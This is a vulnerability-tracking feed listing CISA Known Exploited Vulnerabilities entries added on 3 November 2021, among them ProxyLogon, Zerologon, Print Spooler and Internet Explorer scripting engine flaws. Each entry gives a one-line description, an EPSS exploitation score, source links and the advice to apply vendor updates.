CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2020-1380
Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Internet Explorer contains a memory corruption vulnerability which can allow for remote code execution in the context of the current user.
EPSS 24.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1380&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1380: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1380&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2019-1429
Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Internet Explorer contains a memory corruption vulnerability which can allow for remote code execution in the context of the current user.
EPSS 77.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1429&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1429: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1429&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Outlook Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2017-11774
Microsoft Office Outlook Security Feature Bypass Vulnerability (Nov 3, 2021).
Microsoft Office Outlook contains a security feature bypass vulnerability due to improperly handling objects in memory. Successful exploitation allows an attacker to execute commands.
EPSS 59.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11774&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-11774: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11774&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2020-0968
Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Internet Explorer contains a memory corruption vulnerability due to how the Scripting Engine handles objects in memory, leading to remote code execution.
EPSS 30.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0968&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0968: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0968&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Netlogon Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2020-1472
Microsoft Netlogon Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft's Netlogon Remote Protocol (MS-NRPC) contains a privilege escalation vulnerability when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller. An attacker who successfully exploits the vulnerability could run a specially crafted application on a device on the network. The vulnerability is also known under the moniker of Zerologon.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1472&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1472: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1472&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-26855
Microsoft Exchange Server Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26855&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26855: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26855&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-26858
Microsoft Exchange Server Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.
EPSS 93.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26858&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26858: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26858&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-27065
Microsoft Exchange Server Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27065&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27065: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27065&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2020-1054
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Win32k contains a privilege escalation vulnerability when the Windows kernel-mode driver fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.
EPSS 53.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1054&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1054&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Print Spooler Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-1675
Microsoft Windows Print Spooler Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Windows Print Spooler contains an unspecified vulnerability that allows for remote code execution.
EPSS 85.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1675&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1675: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1675&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2021-34448
Microsoft Windows Scripting Engine Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Windows Scripting Engine contains an unspecified vulnerability that allows for memory corruption.
EPSS 40.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-34448&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-34448: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-34448&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows CryptoAPI Spoofing Vulnerability
https://kevwire.com/record/CVE-2020-0601
Microsoft Windows CryptoAPI Spoofing Vulnerability (Nov 3, 2021).
Microsoft Windows CryptoAPI (Crypt32.dll) contains a spoofing vulnerability in the way it validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software. The vulnerability is also known under the moniker of CurveBall.
EPSS 89.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0601&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0601: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0601&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-0604
Microsoft SharePoint Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft SharePoint fails to check the source markup of an application package. An attacker who successfully exploits the vulnerability could run remote code in the context of the SharePoint application pool and the SharePoint server farm account.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0604&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0604: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0604&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft .NET Framework Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-0646
Microsoft .NET Framework Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft .NET Framework contains an improper input validation vulnerability that allows for remote code execution.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0646&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0646: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0646&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0808
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Win32k contains a privilege escalation vulnerability due to the component failing to properly handle objects in memory. Successful exploitation allows an attacker to run code in kernel mode.
EPSS 53.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0808&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0808: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0808&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-26857
Microsoft Exchange Server Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.
EPSS 95.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26857&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26857: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26857&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft .NET Framework, SharePoint, and Visual Studio Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-1147
Microsoft .NET Framework, SharePoint, and Visual Studio Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft .NET Framework, Microsoft SharePoint, and Visual Studio contain a remote code execution vulnerability when the software fails to check the source markup of XML file input. Successful exploitation allows an attacker to execute code in the context of the process responsible for deserialization of the XML content.
EPSS 94.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1147&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1147: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1147&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Common Log File System (CLFS) Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1214
Microsoft Windows Privilege Common Log File System (CLFS) Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows Common Log File System (CLFS) driver improperly handles objects in memory which can allow for privilege escalation.
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1214&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1214: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1214&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office OLE DLL Side Loading Vulnerability
https://kevwire.com/record/CVE-2016-3235
Microsoft Office OLE DLL Side Loading Vulnerability (Nov 3, 2021).
Microsoft Office Object Linking & Embedding (OLE) dynamic link library (DLL) contains a side loading vulnerability due to it improperly validating input before loading libraries. Successful exploitation allows for remote code execution.
EPSS 43.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3235&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3235: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3235&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Error Reporting (WER) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0863
Microsoft Windows Error Reporting (WER) Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows Error Reporting (WER) contains a privilege escalation vulnerability due to the way it handles files, allowing for code execution in kernel mode.
EPSS 5.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0863&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0863: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0863&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-36955
Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36955&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-36955: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36955&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-38648
Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing privilege escalation.
EPSS 11.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38648&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38648: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38648&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox And Thunderbird Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2020-6819
Mozilla Firefox And Thunderbird Use-After-Free Vulnerability (Nov 3, 2021).
Mozilla Firefox and Thunderbird contain a race condition vulnerability when running the nsDocShell destructor under certain conditions. The race condition creates a use-after-free vulnerability, causing unspecified impacts.
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-6819&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-6819: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-6819&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox And Thunderbird Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2020-6820
Mozilla Firefox And Thunderbird Use-After-Free Vulnerability (Nov 3, 2021).
Mozilla Firefox and Thunderbird contain a race condition vulnerability when handling a ReadableStream under certain conditions. The race condition creates a use-after-free vulnerability, causing unspecified impacts.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-6820&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-6820: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-6820&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox And Thunderbird Type Confusion Vulnerability
https://kevwire.com/record/CVE-2019-17026
Mozilla Firefox And Thunderbird Type Confusion Vulnerability (Nov 3, 2021).
Mozilla Firefox and Thunderbird contain a type confusion vulnerability due to incorrect alias information in the IonMonkey JIT compiler when setting array elements.
EPSS 46.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-17026&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-17026: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-17026&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Nagios XI Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-15949
Nagios XI Remote Code Execution Vulnerability (Nov 3, 2021).
Nagios XI contains a remote code execution vulnerability in which a user can modify the check_plugin executable and insert malicious commands to execute as root.
EPSS 77.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-15949&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-15949: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-15949&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
